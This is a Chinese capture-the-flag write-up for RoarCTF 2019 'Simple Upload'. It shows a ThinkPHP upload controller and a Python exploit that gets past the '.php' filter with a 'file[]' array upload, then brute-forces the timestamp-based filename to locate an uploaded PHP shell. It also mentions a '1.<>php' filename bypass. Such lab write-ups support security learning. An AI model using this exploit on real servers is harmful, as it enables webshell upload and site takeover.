web | [RoarCTF 2019]Simple Upload

这是一个文件上传的题目。

源代码如下:

 1 <?php 
 2 namespace Home\Controller; 
 3 
 4 use Think\Controller; 
 5 
 6 class IndexController extends Controller 
 7 { 
 8     public function index() 
 9     { 
10         show_source(__FILE__); 
11     } 
12     public function upload() 
13     { 
14         $uploadFile = $_FILES['file'] ; 
15          
16         if (strstr(strtolower($uploadFile['name']), ".php") ) { 
17             return false; 
18         } 
19          
20         $upload = new \Think\Upload();// 实例化上传类 
21         $upload->maxSize  = 4096 ;// 设置附件上传大小 
22         $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型 
23         $upload->rootPath = './Public/Uploads/';// 设置附件上传目录 
24         $upload->savePath = '';// 设置附件上传子目录 
25         $info = $upload->upload() ; 
26         if(!$info) {// 上传错误提示错误信息 
27           $this->error($upload->getError()); 
28           return; 
29         }else{// 上传成功 获取上传文件信息 
30           $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ; 
31           echo json_encode(array("url"=>$url,"success"=>1)); 
32         } 
33     } 
34 }

应该是thinkphp的文件上传漏洞。

https://www.cnblogs.com/20175211lyz/p/11729027.html

上述文章提到了,thinkphp的文件上传类并没有控制后缀名的东西,因此可以忽略对后缀名的控制。

所以真正要绕过的地方就是上面代码中对php后缀名的检测

因为thinkphp支持多文件上传,只要用数组就可以绕过strstr的检测。

但是却返回不了上传文件的名称。

因此只要在周边上传两个文件就可以缩小时间范围来找这个文件。

顺带一提thinkphp的文件上传路径:index.php/home/index/upload

上传exp:

import requests

proxy = {
'http':'127.0.0.1:8080',
'https':'127.0.0.1:8080'
}
url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"

file1 = {'file': open("1.txt", 'rb')}
file2 = {'file[]': open("1.php", 'rb')}

r = requests.post(url, files = file1, proxies = proxy)
print(r.text)
r = requests.post(url, files = file2, proxies = proxy)
print(r.text)
r = requests.post(url, files = file1, proxies = proxy)
print(r.text)

结果:

{"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa14f69c.txt","success":1}
{"url":"\/Public\/Uploads\/","success":1}
{"url":"\/Public\/Uploads\/2020-12-23\/5fe2faa18ff07.txt","success":1}

范围就是两个中间了

完整exp如下:

 1 import requests
 2 import json
 3 import time
 4 
 5 proxy = {
 6 'http':'127.0.0.1:8080',
 7 'https':'127.0.0.1:8080'
 8 }
 9 url = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/index.php/home/index/upload"
10 url2 = "http://06fba31b-2461-4ac4-96cf-b33603172606.node3.buuoj.cn/Public/Uploads/2020-12-23/{}.php"
11 
12 file1 = {'file': open("1.txt", 'rb')}
13 file2 = {'file[]': open("1.php", 'rb')}
14 
15 # 上传
16 r = requests.post(url, files = file1, proxies = proxy)
17 print(r.text)
18 t1 = int(json.loads(r.text)['url'][-17:-4], 16)
19 r = requests.post(url, files = file2, proxies = proxy)
20 print(r.text)
21 r = requests.post(url, files = file1, proxies = proxy)
22 print(r.text)
23 t2 = int(json.loads(r.text)['url'][-17:-4], 16)
24 print(t1)
25 print(t2)
26 
27 # 爆破木马文件名
28 for i in range(t1+1, t2):
29     h = str(hex(i))[2:]
30     u = url2.format(h)
31     print(u)
32     r = requests.get(u, proxies = proxy)
33     if r.status_code == 200:
34         print(u)
35     elif r.status_code == 429:
36         time.sleep(0.1)
37 
38         

第二种方法是上传文件名为 1.<>php

貌似是同样解析为1.php

但是上传成功直接给了flag

有点恐怖,应该是文件内容被改了。

posted @ 2020-12-23 16:26  Mz1  阅读(413)  评论(0编辑  收藏  举报